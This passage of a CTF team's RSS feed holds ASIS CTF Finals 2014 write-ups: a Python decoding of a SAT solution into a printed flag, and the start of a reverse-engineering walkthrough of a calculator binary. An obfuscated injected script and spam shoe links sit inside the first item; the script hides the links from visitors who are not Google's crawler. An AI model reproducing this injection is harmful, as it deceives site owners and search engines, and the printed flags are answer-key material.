-1 -2 -3 -4 -5 6 -7 8 -9 10 -11 -12 13 14 -15 16 -17 -18 19 -20 -21 22 -23 24 -25 26 -27 -28 29 30 -31 32 -33 34 35 36 37 38 -39 -40 41 42 -43 -44 45 -46 -47 -48 49 50 -51 -52 -53 -54 -55 56 57 -58 -59 -60 -61 62 -63 -64 65 66 -67 68 69 -70 -71 -72 73 74 -75 76 -77 -78 -79 80 81 -82 -83 84 -85 86 -87 -88 89 90 91 -92 -93 94 -95 -96 97 98 -99 100 -101 102 -103 -104 105 106 -107 108 109 110 -111 112 113 -114 -115 -116 117 118 -119 -120 121 122 123 -124 -125 126 -127 -128 129 130 -131 132 133 -134 -135 -136 137 138 -139 -140 -141 142 -143 144 145 -146 -147 -148 -149 150 -151 -152 153 154 -155 -156 157 -158 -159 160 161 -162 -163 -164 165 -166 -167 168 169 -170 -171 172 -173 174 -175 176 177 -178 -179 -180 -181 182 -183 184 185 -186 -187 188 -189 190 -191 -192 193 194 195 -196 -197 198 -199 200 201 -202 -203 -204 205 -206 -207 208 209 -210 -211 -212 213 -214 -215 -216 217 218 -219 -220 221 -222 -223 -224 225 226 -227 -228 229 230 -231 -232 233 234 -235 -236 -237 -238 -239 240 241 -242 -243 -244 245 -246 -247 -248 249 250 -251 -252 253 254 -255 -256 257 258 -259 260 -261 262 -263 -264 265 266 -267 -268 -269 270 -271 272 273 -274 -275 -276 277 -278 -279 280 281 -282 -283 -284 285 286 -287 288 289 -290 -291 -292 -293 294 295 0&lt;/pre&gt;&lt;p&gt;Nice, solution found. Try to convert in to some printable data:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&amp;gt;&amp;gt;&amp;gt; sol = &#039;-1 -2 -3 -4 -5 6 -7 8 -9 10 -11 -12 13 14 -15 16 -17 -18 19 -20 -21 22 -23 24 -25 26 -27 -28 29 30 -31 32 -33 34 35 36 37 38 -39 -40 41 42 -43 -44 45 -46 -47 -48 49 50 -51 -52 -53 -54 -55 56 57 -58 -59 -60 -61 62 -63 -64 65 66 -67 68 69 -70 -71 -72 73 74 -75 76 -77 -78 -79 80 81 -82 -83 84 -85 86 -87 -88 89 90 91 -92 -93 94 -95 -96 97 98 -99 100 -101 102 -103 -104 105 106 -107 108 109 110 -111 112 113 -114 -115 -116 117 118 -119 -120 121 122 123 -124 -125 126 -127 -128 129 130 -131 132 133 -134 -135 -136 137 138 -139 -140 -141 142 -143 144 145 -146 -147 -148 -149 150 -151 -152 153 154 -155 -156 157 -158 -159 160 161 -162 -163 -164 165 -166 -167 168 169 -170 -171 172 -173 174 -175 176 177 -178 -179 -180 -181 182 -183 184 185 -186 -187 188 -189 190 -191 -192 193 194 195 -196 -197 198 -199 200 201 -202 -203 -204 205 -206 -207 208 209 -210 -211 -212 213 -214 -215 -216 217 218 -219 -220 221 -222 -223 -224 225 226 -227 -228 229 230 -231 -232 233 234 -235 -236 -237 -238 -239 240 241 -242 -243 -244 245 -246 -247 -248 249 250 -251 -252 253 254 -255 -256 257 258 -259 260 -261 262 -263 -264 265 266 -267 -268 -269 270 -271 272 273 -274 -275 -276 277 -278 -279 280 281 -282 -283 -284 285 286 -287 288 289 -290 -291 -292 -293 294 295&#039;
&amp;gt;&amp;gt;&amp;gt; sol = sol.split(&#039; &#039;)
&amp;gt;&amp;gt;&amp;gt; res = &#039;&#039;
&amp;gt;&amp;gt;&amp;gt; for c in sol: 
...     if &#039;-&#039; in c: res += &#039;0&#039;
...     else: res += &#039;1&#039;
... 
&amp;gt;&amp;gt;&amp;gt; c
&#039;295&#039;
&amp;gt;&amp;gt;&amp;gt; res
&#039;0000010101001101001001010100110101111100110010001100000110000100110110001101000110010100111001001101010011011101100011001110010011011000110001011000010011001001100010011001010110000101100101001110010110001001100010001100100011001100110000011000100011001100110101001100010110001001100011011000011&#039;
&amp;gt;&amp;gt;&amp;gt; len(res)
295
&amp;gt;&amp;gt;&amp;gt; res = &#039;0&#039; + res[-1] + res[:-1] #move last to first (because [0] index) and add leading zero for padding
&amp;gt;&amp;gt;&amp;gt; hex(int(res, 2))[2:-1].decode(&#039;hex&#039;)
&#039;ASIS_20a64e957c961a2beae9bb230b351bca&#039;&lt;/pre&gt;&lt;p&gt;The flag is&amp;nbsp;&lt;strong&gt;ASIS_20a64e957c961a2beae9bb230b351bca&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.jmksport.com/&quot;&gt;Sports Shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfediqshop/release-dates/nike/air-force-1-shadow/&quot;&gt;Women&#039;s Nike Air Force 1 Shadow trainers - Latest Releases , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Plain text icon&quot; title=&quot;text/plain&quot; src=&quot;/modules/file/icons/text-plain.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/mysat.txt&quot; type=&quot;text/plain; length=4645&quot;&gt;mysat.txt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Plain text icon&quot; title=&quot;text/plain&quot; src=&quot;/modules/file/icons/text-plain.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/sat.txt&quot; type=&quot;text/plain; length=10951&quot;&gt;sat.txt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Wed, 15 Oct 2014 06:12:57 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">83 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/83#comments</comments>
</item>
<item>
 <title>ASIS CALC (reverse 250)</title>
 <link>https://ctfcrew.org/writeup/82</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/26&quot;&gt;ASIS CTF Finals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;Description:&lt;/p&gt;&lt;p&gt;Download the &lt;a href=&quot;http://asis-ctf.ir/tasks/ASIScalc_c4b96a8c1eb9d0881f0c599456d0fceb&quot;&gt;file&lt;/a&gt; and find the flag.&lt;/p&gt;&lt;p&gt;Solution:&lt;/p&gt;&lt;p&gt;After downloading and uncompresing file we can see that it&#039;s x64 ELF binary. When I opened it in IDA, I&#039;ve found that there are tons of code, which seems to be created by flex (&lt;a href=&quot;http://flex.sourceforge.net/&quot;&gt;The Fast Lexical Analyzer&lt;/a&gt;):&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic007.png&quot; alt=&quot;&quot; height=&quot;103&quot; width=&quot;494&quot;&gt;&lt;/p&gt;&lt;p&gt;Because I was lazy to analyze this program I desided to make small hack. The flag is a &lt;strong&gt;string&lt;/strong&gt; and it should be returned by program when I enter something. Because this program seems to use &quot;std::operator&amp;lt;&amp;lt;&quot; to ourput everything:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic007_0.png&quot; alt=&quot;&quot; height=&quot;172&quot; width=&quot;594&quot;&gt;&lt;/p&gt;&lt;p&gt;(and &lt;strong&gt;strings&lt;/strong&gt;, in particular), lets find where single char output is used:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic007_1.png&quot; alt=&quot;&quot; height=&quot;152&quot; width=&quot;791&quot;&gt;&lt;/p&gt;&lt;p&gt;Only 2 functions! Go to first one and find:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic007_2.png&quot; alt=&quot;&quot; height=&quot;771&quot; width=&quot;977&quot;&gt;&lt;/p&gt;&lt;p&gt;Char array of 37 symbols... maybe it&#039;s flag? Lets check.&lt;/p&gt;&lt;p&gt;Decrypt char array routine is the next:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;data:image/png;base64,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